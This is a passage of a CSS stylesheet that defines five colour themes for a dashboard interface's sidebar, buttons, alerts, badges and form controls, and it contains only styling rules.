padding-left: 0; margin-bottom: 0; } .form-switch.form-switch-right .form-check-input { float: right; } body.theme-1 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-1 .bg-primary { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60 !important; } body.theme-1 .dash-header .drp-language .drp-text, body.theme-1 .dash-header .dash-head-link > i:not(.nocolor) { color: #0CAF60; } body.theme-1 .dash-header .drp-company .theme-avtar { background: #ceefdf; color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; color: #fff; box-shadow: 0 5px 7px -1px rgba(12, 175, 96, 0.3); } body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #0CAF60; } body.theme-1 a:not([class]) { color: #0CAF60; } body.theme-1 a:not([class]):hover { color: #0CAF60; } body.theme-1 .text-primary { color: #0CAF60 !important; } body.theme-1 .list-group-item.active { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60 !important; } body.theme-1 .progress-bar:not([class*="bg-"]), body.theme-1 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #0CAF60; --bs-btn-border-color: #0CAF60; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0a9552; --bs-btn-hover-border-color: #0a8c4d; --bs-btn-focus-shadow-rgb: 48, 187, 120; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0a8c4d; --bs-btn-active-border-color: #098348; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #0CAF60; --bs-btn-disabled-border-color: #0CAF60; } body.theme-1 .btn-outline-primary { --bs-btn-color: #0CAF60; --bs-btn-border-color: #0CAF60; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0CAF60; --bs-btn-hover-border-color: #0CAF60; --bs-btn-focus-shadow-rgb: 12, 175, 96; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0CAF60; --bs-btn-active-border-color: #0CAF60; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #0CAF60; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #0CAF60; --bs-gradient: none; } body.theme-1 .btn-light-primary { background: #ceefdf; color: #0CAF60; border-color: #ceefdf; } body.theme-1 .btn-light-primary:hover { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-light-primary.focus, body.theme-1 .btn-light-primary:focus { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-1 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-1 .btn-light-primary.dropdown-toggle { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-check:active + .btn-light-primary, body.theme-1 .btn-check:checked + .btn-light-primary { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .alert-primary { --bs-alert-color: #07693a; --bs-alert-bg: #ceefdf; --bs-alert-border-color: #b6e7cf; } body.theme-1 .alert-primary .alert-link { color: #06542e; } body.theme-1 .badge.bg-light-primary { background: #ceefdf; color: #0CAF60; border-color: #ceefdf; } body.theme-1 .page-item.active .page-link { background: #0CAF60; border-color: #0CAF60; } body.theme-1 .nav-link { color: #0CAF60; } body.theme-1 .nav-link:hover, body.theme-1 .nav-link:focus { color: #0CAF60; } body.theme-1 .nav-tabs .nav-link { background: none; } body.theme-1 .nav-pills .nav-link { background: none; } body.theme-1 .nav-pills .nav-link:focus, body.theme-1 .nav-pills .nav-link.active, body.theme-1 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } body.theme-1 .form-check-input:focus, body.theme-1 .form-select:focus, body.theme-1 .form-control:focus, body.theme-1 .custom-select:focus, body.theme-1 .dataTable-selector:focus, body.theme-1 .dataTable-input:focus { border-color: #0CAF60; box-shadow: 0 0 0 0.2rem rgba(12, 175, 96, 0.25); } body.theme-1 .form-check-input:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-range::-webkit-slider-thumb { background: #0CAF60; } body.theme-1 .form-range::-webkit-slider-thumb:active { background: #0CAF60; } body.theme-1 .form-range::-moz-range-thumb { background: #0CAF60; } body.theme-1 .form-range::-moz-range-thumb:active { background: #0CAF60; } body.theme-1 .form-check-input:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-check-input[type="checkbox"]:indeterminate { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-check .form-check-input.input-primary:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 pre[class*="language-"] > code { border-left-color: #0CAF60; background-image: linear-gradient(transparent 50%, rgba(12, 175, 96, 0.04) 50%); } body.theme-1 .card .card-header h5:after, body.theme-1 .card .card-header .h5:after, body.theme-1 .card .card-header .h5:after { background: #0CAF60; } body.theme-3 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-3 .bg-primary { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943 !important; } body.theme-3 .dash-header .drp-language .drp-text, body.theme-3 .dash-header .dash-head-link > i:not(.nocolor) { color: #6FD943; } body.theme-3 .dash-header .drp-company .theme-avtar { background: #e2f7d9; color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; color: #fff; box-shadow: 0 5px 7px -1px rgba(111, 217, 67, 0.3); } body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #6FD943; } body.theme-3 a:not([class]) { color: #6FD943; } body.theme-3 a:not([class]):hover { color: #6FD943; } body.theme-3 .text-primary { color: #6FD943 !important; } body.theme-3 .list-group-item.active { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943 !important; } body.theme-3 .progress-bar:not([class*="bg-"]), body.theme-3 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #6FD943; --bs-btn-border-color: #6FD943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5eb839; --bs-btn-hover-border-color: #59ae36; --bs-btn-focus-shadow-rgb: 133, 223, 95; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #59ae36; --bs-btn-active-border-color: #53a332; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6FD943; --bs-btn-disabled-border-color: #6FD943; } body.theme-3 .btn-outline-primary { --bs-btn-color: #6FD943; --bs-btn-border-color: #6FD943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6FD943; --bs-btn-hover-border-color: #6FD943; --bs-btn-focus-shadow-rgb: 111, 217, 67; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6FD943; --bs-btn-active-border-color: #6FD943; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6FD943; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6FD943; --bs-gradient: none; } body.theme-3 .btn-light-primary { background: #e2f7d9; color: #6FD943; border-color: #e2f7d9; } body.theme-3 .btn-light-primary:hover { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-light-primary.focus, body.theme-3 .btn-light-primary:focus { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-3 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-3 .btn-light-primary.dropdown-toggle { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-check:active + .btn-light-primary, body.theme-3 .btn-check:checked + .btn-light-primary { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .alert-primary { --bs-alert-color: #438228; --bs-alert-bg: #e2f7d9; --bs-alert-border-color: #d4f4c7; } body.theme-3 .alert-primary .alert-link { color: #366820; } body.theme-3 .badge.bg-light-primary { background: #e2f7d9; color: #6FD943; border-color: #e2f7d9; } body.theme-3 .page-item.active .page-link { background: #6FD943; border-color: #6FD943; } body.theme-3 .nav-link { color: #6FD943; } body.theme-3 .nav-link:hover, body.theme-3 .nav-link:focus { color: #6FD943; } body.theme-3 .nav-tabs .nav-link { background: none; } body.theme-3 .nav-pills .nav-link { background: none; } body.theme-3 .nav-pills .nav-link:focus, body.theme-3 .nav-pills .nav-link.active, body.theme-3 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } body.theme-3 .form-check-input:focus, body.theme-3 .form-select:focus, body.theme-3 .form-control:focus, body.theme-3 .custom-select:focus, body.theme-3 .dataTable-selector:focus, body.theme-3 .dataTable-input:focus { border-color: #6FD943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } body.theme-3 .form-check-input:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-range::-webkit-slider-thumb { background: #6FD943; } body.theme-3 .form-range::-webkit-slider-thumb:active { background: #6FD943; } body.theme-3 .form-range::-moz-range-thumb { background: #6FD943; } body.theme-3 .form-range::-moz-range-thumb:active { background: #6FD943; } body.theme-3 .form-check-input:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-check-input[type="checkbox"]:indeterminate { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-check .form-check-input.input-primary:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 pre[class*="language-"] > code { border-left-color: #6FD943; background-image: linear-gradient(transparent 50%, rgba(111, 217, 67, 0.04) 50%); } body.theme-3 .card .card-header h5:after, body.theme-3 .card .card-header .h5:after, body.theme-3 .card .card-header .h5:after { background: #6FD943; } body.theme-2 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-2 .bg-primary { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2 !important; } body.theme-2 .dash-header .drp-language .drp-text, body.theme-2 .dash-header .dash-head-link > i:not(.nocolor) { color: #584ED2; } body.theme-2 .dash-header .drp-company .theme-avtar { background: #dedcf6; color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; color: #fff; box-shadow: 0 5px 7px -1px rgba(88, 78, 210, 0.3); } body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #584ED2; } body.theme-2 a:not([class]) { color: #584ED2; } body.theme-2 a:not([class]):hover { color: #584ED2; } body.theme-2 .text-primary { color: #584ED2 !important; } body.theme-2 .list-group-item.active { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2 !important; } body.theme-2 .progress-bar:not([class*="bg-"]), body.theme-2 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #584ED2; --bs-btn-border-color: #584ED2; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #4b42b3; --bs-btn-hover-border-color: #463ea8; --bs-btn-focus-shadow-rgb: 113, 105, 217; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #463ea8; --bs-btn-active-border-color: #423b9e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #584ED2; --bs-btn-disabled-border-color: #584ED2; } body.theme-2 .btn-outline-primary { --bs-btn-color: #584ED2; --bs-btn-border-color: #584ED2; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #584ED2; --bs-btn-hover-border-color: #584ED2; --bs-btn-focus-shadow-rgb: 88, 78, 210; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #584ED2; --bs-btn-active-border-color: #584ED2; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #584ED2; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #584ED2; --bs-gradient: none; } body.theme-2 .btn-light-primary { background: #dedcf6; color: #584ED2; border-color: #dedcf6; } body.theme-2 .btn-light-primary:hover { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-light-primary.focus, body.theme-2 .btn-light-primary:focus { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-2 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-2 .btn-light-primary.dropdown-toggle { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-check:active + .btn-light-primary, body.theme-2 .btn-check:checked + .btn-light-primary { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .alert-primary { --bs-alert-color: #352f7e; --bs-alert-bg: #dedcf6; --bs-alert-border-color: #cdcaf2; } body.theme-2 .alert-primary .alert-link { color: #2a2665; } body.theme-2 .badge.bg-light-primary { background: #dedcf6; color: #584ED2; border-color: #dedcf6; } body.theme-2 .page-item.active .page-link { background: #584ED2; border-color: #584ED2; } body.theme-2 .nav-link { color: #584ED2; } body.theme-2 .nav-link:hover, body.theme-2 .nav-link:focus { color: #584ED2; } body.theme-2 .nav-tabs .nav-link { background: none; } body.theme-2 .nav-pills .nav-link { background: none; } body.theme-2 .nav-pills .nav-link:focus, body.theme-2 .nav-pills .nav-link.active, body.theme-2 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } body.theme-2 .form-check-input:focus, body.theme-2 .form-select:focus, body.theme-2 .form-control:focus, body.theme-2 .custom-select:focus, body.theme-2 .dataTable-selector:focus, body.theme-2 .dataTable-input:focus { border-color: #584ED2; box-shadow: 0 0 0 0.2rem rgba(88, 78, 210, 0.25); } body.theme-2 .form-check-input:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-range::-webkit-slider-thumb { background: #584ED2; } body.theme-2 .form-range::-webkit-slider-thumb:active { background: #584ED2; } body.theme-2 .form-range::-moz-range-thumb { background: #584ED2; } body.theme-2 .form-range::-moz-range-thumb:active { background: #584ED2; } body.theme-2 .form-check-input:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-check-input[type="checkbox"]:indeterminate { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-check .form-check-input.input-primary:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 pre[class*="language-"] > code { border-left-color: #584ED2; background-image: linear-gradient(transparent 50%, rgba(88, 78, 210, 0.04) 50%); } body.theme-2 .card .card-header h5:after, body.theme-2 .card .card-header .h5:after, body.theme-2 .card .card-header .h5:after { background: #584ED2; } body.theme-4 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-4 .bg-primary { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388 !important; } body.theme-4 .dash-header .drp-language .drp-text, body.theme-4 .dash-header .dash-head-link > i:not(.nocolor) { color: #145388; } body.theme-4 .dash-header .drp-company .theme-avtar { background: #d0dde7; color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; color: #fff; box-shadow: 0 5px 7px -1px rgba(20, 83, 136, 0.3); } body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #145388; } body.theme-4 a:not([class]) { color: #145388; } body.theme-4 a:not([class]):hover { color: #145388; } body.theme-4 .text-primary { color: #145388 !important; } body.theme-4 .list-group-item.active { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388 !important; } body.theme-4 .progress-bar:not([class*="bg-"]), body.theme-4 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #145388; --bs-btn-border-color: #145388; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #114774; --bs-btn-hover-border-color: #10426d; --bs-btn-focus-shadow-rgb: 55, 109, 154; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #10426d; --bs-btn-active-border-color: #0f3e66; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #145388; --bs-btn-disabled-border-color: #145388; } body.theme-4 .btn-outline-primary { --bs-btn-color: #145388; --bs-btn-border-color: #145388; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #145388; --bs-btn-hover-border-color: #145388; --bs-btn-focus-shadow-rgb: 20, 83, 136; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #145388; --bs-btn-active-border-color: #145388; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #145388; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #145388; --bs-gradient: none; } body.theme-4 .btn-light-primary { background: #d0dde7; color: #145388; border-color: #d0dde7; } body.theme-4 .btn-light-primary:hover { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-light-primary.focus, body.theme-4 .btn-light-primary:focus { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-4 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-4 .btn-light-primary.dropdown-toggle { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-check:active + .btn-light-primary, body.theme-4 .btn-check:checked + .btn-light-primary { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .alert-primary { --bs-alert-color: #0c3252; --bs-alert-bg: #d0dde7; --bs-alert-border-color: #b9cbdb; } body.theme-4 .alert-primary .alert-link { color: #0a2842; } body.theme-4 .badge.bg-light-primary { background: #d0dde7; color: #145388; border-color: #d0dde7; } body.theme-4 .page-item.active .page-link { background: #145388; border-color: #145388; } body.theme-4 .nav-link { color: #145388; } body.theme-4 .nav-link:hover, body.theme-4 .nav-link:focus { color: #145388; } body.theme-4 .nav-tabs .nav-link { background: none; } body.theme-4 .nav-pills .nav-link { background: none; } body.theme-4 .nav-pills .nav-link:focus, body.theme-4 .nav-pills .nav-link.active, body.theme-4 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } body.theme-4 .form-check-input:focus, body.theme-4 .form-select:focus, body.theme-4 .form-control:focus, body.theme-4 .custom-select:focus, body.theme-4 .dataTable-selector:focus, body.theme-4 .dataTable-input:focus { border-color: #145388; box-shadow: 0 0 0 0.2rem rgba(20, 83, 136, 0.25); } body.theme-4 .form-check-input:checked { background-color: #145388; border-color: #145388; } body.theme-4 .form-range::-webkit-slider-thumb { background: #145388; } body.theme-4 .form-range::-webkit-slider-thumb:active { background: #145388; } body.theme-4 .form-range::-moz-range-thumb { background: #145388; } body.theme-4 .form-range::-moz-range-thumb:active { background: #145388; } body.theme-4 .form-check-input:checked { background-color: #145388; border-color: #145388; } body.theme-4 .form-check-input[type="checkbox"]:indeterminate { background-color: #145388; border-color: #145388; } body.theme-4 .form-check .form-check-input.input-primary:checked { background-color: #145388; border-color: #145388; } body.theme-4 pre[class*="language-"] > code { border-left-color: #145388; background-image: linear-gradient(transparent 50%, rgba(20, 83, 136, 0.04) 50%); } body.theme-4 .card .card-header h5:after, body.theme-4 .card .card-header .h5:after, body.theme-4 .card .card-header .h5:after { background: #145388; } body.theme-5 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-5 .bg-primary { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B !important; } body.theme-5 .dash-header .drp-language .drp-text, body.theme-5 .dash-header .dash-head-link > i:not(.nocolor) { color: #B9406B; } body.theme-5 .dash-header .drp-company .theme-avtar { background: #f1d9e1; color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; color: #fff; box-shadow: 0 5px 7px -1px rgba(185, 64, 107, 0.3); } body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:focus > 